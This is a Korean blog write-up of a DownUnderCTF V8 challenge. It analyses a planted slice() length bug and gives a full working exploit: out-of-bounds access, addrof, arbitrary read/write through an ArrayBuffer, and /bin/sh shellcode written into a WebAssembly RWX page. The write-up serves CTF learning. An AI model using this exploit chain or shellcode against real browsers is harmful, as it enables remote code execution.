DownUnderCTF - Is this pwn or web?

Tag

  • V8 engine exploit
  • OOB
  • pointer compression

Summary

  • diffing file analysis
  • addrof & fakeobj
  • exploit

diffing file analysis

디핑 파일은 부분별로 나눠서 보도록 하겠습니다.

1. array-slice.tq

diff --git a/src/builtins/array-slice.tq b/src/builtins/array-slice.tq
index 7b82f2bda3..4b9478f84e 100644
--- a/src/builtins/array-slice.tq
+++ b/src/builtins/array-slice.tq
@@ -101,7 +101,14 @@ macro HandleFastSlice(
         // to be copied out. Therefore, re-check the length before calling
         // the appropriate fast path. See regress-785804.js
         if (SmiAbove(start + count, a.length)) goto Bailout;
-        return ExtractFastJSArray(context, a, start, count);

+        // return ExtractFastJSArray(context, a, start, count);
+        // Instead of doing it the usual way, I've found out that returning it
+        // the following way gives us a 10x speedup!
+
+        const array: JSArray = ExtractFastJSArray(context, a, start, count);
+        const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2))
+            otherwise Bailout;
+        array.ChangeLength(newLength);
+        return array;

일단 디핑파일을 적용했을때의 결과부터 말씀드리겠습니다. 위 부분으로 인하여 취약점이 발생합니다.

원래 slice함수에서 사용하던 처리방식을 주석처리하고, 자체적으로 slice함수를 처리하는 코드를 작성한 모습입니다. 자세하게 볼까요?

 

const array: JSArray = ExtractFastJSArray(context, a, start, count);
const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2)) otherwise Bailout;
array.ChangeLength(newLength);
return array;

변수 countslice를 진행할 때 첫번째 인자와 두번째 인자의 거리입니다.

변수 start는 첫번째 인자의 값이고, SmiConstant(2)는 상수 "2"를 의미합니다.

예시는 아래와 같습니다.

 

juntae@ubuntu:~/ctf/downunder$ ./d8 
V8 version 8.7.9
d8> a = [1,2,3,4,5,6,7]
[1, 2, 3, 4, 5, 6, 7]
d8> a.slice(4,6)
[]

원래 a.slice(4,6)을 실행하면 5와 6이 반환되어야합니다. 하지만, 문제의 d8에서는 아무값도 반환하지 않습니다. 왜그럴까요?

 

이유는 a.slice(4,6)부분에서 count는 2, start는 4가 되기 때문입니다. 2 - 4 + 2 = 0이 되는 것이죠.

여기서 중요한 한가지는, countstart를 잘 조절하면 연산의 결과값을 -1등의 음수 값으로 만들 수 있다는 점 입니다. 이렇게 되면 v8에서는 배열의 길이를 0xfffffff..으로 인식하고, OOB를 트리거 할 수 있습니다.

 

2. JSobject

 extern class JSArray extends JSObject {
+  macro ChangeLength(newLength: Smi) {
+    this.length = newLength;
+  }
+  
   macro IsEmpty(): bool {
     return this.length == 0;
   }

간단합니다. JS에서 최상위 오브젝트인 JSObject를 상속하는 JSArray의 길이를 변경할 수 있는 메소드를 추가합니다. 이 메소트는 array-slice.tq에서 사용하게 됩니다.

 

addrof & fakeobj

일반적인 Browser exploit에서는 addroffakeobj함수를 만들어 aaraaw를 이끌어냅니다. 저는 다른 방식으로 exploit을 진행했는데, 그 방법을 소개하고자 합니다.

 

1. addrof

먼저, OOB가 발생함을 이용해 배열의 mapobject로 덮고 element에 object를 넣으므로써 원하는 오브젝트의 주소를 leak 할 수 있습니다.

 

2. fakeobj

fakeobj 없이 ArrayBufferbacking store포인터를 덮어 fakeobj함수를 만들지 않고도 aawaar을 만들 수 있습니다. 자세한 예시는 아래 exploit에 있습니다.

 

Exploit

var buf = new ArrayBuffer(8);
var f64buf = new Float64Array(buf);
var u64buf = new Uint32Array(buf);

function ftoi(val, size) {
    f64buf[0] = val;

    if(size == 32) {
        return BigInt(u64buf[0]);
    } 
    else if(size == 64) {
        return BigInt(u64buf[0]) + (BigInt(u64buf[1]) << 32n);
    }
}

function itof(val, size) {
    if(size == 32) {
        u64buf[0] = Number(val & 0xffffffffn);
    } 
    else if(size == 64) {
        u64buf[0] = Number(val & 0xffffffffn);
        u64buf[1] = Number(val >> 32n);
    }

    return f64buf[0];
}

var hex = function(x) {
   if (x < 0)
       return `-${hex(-x)}`;
   return `0x${x.toString(16)}`;
};

a = [1.1,2.2,3.3,4.4,5.5,6.6]
b = a.slice(4,5)
c = new BigUint64Array([
    0x1111111111111111n,
    0x2222222222222222n,
    0x3333333333333333n,
]);

var idx = 15
var base = BigInt(ftoi(b[idx + 8],64)) & 0xffffffff00000000n;
console.log("[*] Base address : " + hex(base))

objmap = base + 0x824394dn
bintmap = base + 0x8242665n

function addrof(obj) {
    b[idx + 3] = itof(objmap,64);
    c[0] = obj;
    b[idx + 3] = itof(bintmap,64);

    return base + (c[0] & 0xffffffffn);
}

var arb = new ArrayBuffer(0x100);
console.log("[*] ArayBuffer address : " + hex(addrof(arb)))

function aar(addr) {
    b[idx + 46] = itof((addr & 0xffffffffn) << 32n,64);
    b[idx + 47] = itof(addr >> 32n,64);

    let buf = new Float64Array(arb);

    return ftoi(buf[0],64);
}

function aaw(addr,value) {
    b[idx + 46] = itof((addr & 0xffffffffn) << 32n,64);
    b[idx + 47] = itof(addr >> 32n,64);

    if(typeof value == "number") {
        let buf = new Float64Array(arb);
        buf[0] = itof(value)
    }    

    else if(typeof value == "string") {
        let buf = new Uint8Array(arb);
        for(let i = 0; i < value.length; i++) {
            buf[i] = value[i].charCodeAt();
        }
    }    
}

let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);

let wasmFunction = wasmInstance.exports.main;

let rwx = aar(addrof(wasmInstance) + 0x67n);
console.log("[*] rwx : " + hex(rwx));

let shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x48\x31\xc0\xb0\x3b\x99\x4d\x31\xd2\x0f\x05";

aaw(rwx,shellcode);

wasmFunction();

주의해야할 점은, pointer compression에 의하여 디버깅이 상대적으로 어렵고, PIE baseleak하듯이 pointerbase주소를 leak해야 한다는 점 입니다.

 

aawaar을 만든 후에는 WebAssembly를 생성(RWX 영역이 매핑됨)하여 rwx를 만든 후에 이를 쉘코드로 덮고, 실행시켜 쉘을 획득할 수 있습니다.

'CTF' 카테고리의 다른 글

POX 2020 CTF - VaccineWeb Write Up  (0) 2020.12.14
POX 2020 CTF - Kiban64  (0) 2020.11.25
POX 2020 CTF - Mobile Pentest Write Up  (0) 2020.11.23
Power of XX 2020 Write up  (0) 2020.11.21

+ Recent posts